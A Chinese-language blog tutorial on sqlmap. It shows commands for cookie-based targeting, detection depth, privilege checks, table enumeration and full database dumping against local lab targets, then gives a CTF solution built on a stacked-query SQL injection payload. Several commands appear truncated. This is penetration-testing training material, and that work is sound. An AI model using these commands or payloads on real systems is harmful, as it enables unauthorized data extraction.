SQLmap基本使用
摘要
SQLmap
一:特性
二:直连数据库
三:设定目标
1 | sqlmap --cookie "csrftoken=8eOKzCbgRE84TPxlPGaQhKZVdcNGFPXTsvB1OGgyyHzuAM1cLAku0dAw5SG1ogH2; security_level=0; PHPSESSID=ehhboecc5qdr1e77lp2ipjsv40" |
四:通过level设定检测深度
通过–level参数,加大探测深度。(例如:User-Agent注入)
1 | sqlmap --cookie "security_level=0; PHPSESSID=7q9ch1dgdqu6ttvuf22bahqeo4" |
五:-g选项
六:risk和level选项
不加参数,直接退出
1 | sqlmap -u "http://192.168.149.136:86/Less-31/" |
加入参数
1 | sqlmap -u "http://192.168.149.136:86/Less-31/?id=1" --risk 3 --level 5 |
七:–privileges –is-dba
–privileges 获取用户所具有的权限
1 | sqlmap -u "http://192.168.149.136:86/Less-31/?id=1" --privileges |
–is-dba判断当前的用户是否是dba
1 | sqlmap -u "http://192.168.149.136:86/Less-31/?id=1" --is-dba |
八:–file-read –file-write –file-dest
九:–os -cmd –shell
十:sqlmap实战
1 | sqlmap --cookie "security_level=0; PHPSESSID=md66uusp86462bmh516mfnupk7" |
1 | sqlmap --cookie "security_level=0; PHPSESSID=md66uusp86462bmh516mfnupk7" |
-D指定数据库,-tables查看数据库的表信息
1 | sqlmap --cookie "security_level=0; PHPSESSID=md66uusp86462bmh516mfnupk7" |
-T指定表名,
1 | sqlmap --cookie "security_level=0; PHPSESSID=md66uusp86462bmh516mfnupk7" |
1 | sqlmap --cookie "security_level=0; PHPSESSID=md66uusp86462bmh516mfnupk7" |
脱库
1 | sqlmap --cookie "security_level=0; PHPSESSID=md66uusp86462bmh516mfnupk7" |
十一:sqlmap对于POST参数的注入
1 | sqlmap -u http://xxx.xxx.com/Login.asp --data "n=1&p=1" |
1 | sqlmap.py -u "http://192.168.160.1/sqltest/post.php" --forms |
十二:注入实战||
参数无论我们输入数字什么都只会回显Array([0]= > 1)
,输入字母不会显,但是也没显示是过滤的,所以query
的值如果为非数字则无法正确查询得到数据回显,那么查询语句就应该长这样
1 | $sql = "select ".$post['query']."||flag from Flag"; |
思路一:
||在SQL语句中表示或,在查询表中的字段内容时,逗号,用于查询多个字段名
1 | payload=*,1 |
思路二:
通过修改SQL配置将或运算符||设置为连接符
1 | set sql_mode=PIPES_AS_CONCAT; |
1 | 1;set sql_mode=PIPES_AS_CONCAT;select 1 |
拼接完成的语句为:
select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag;
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 事在人为!
评论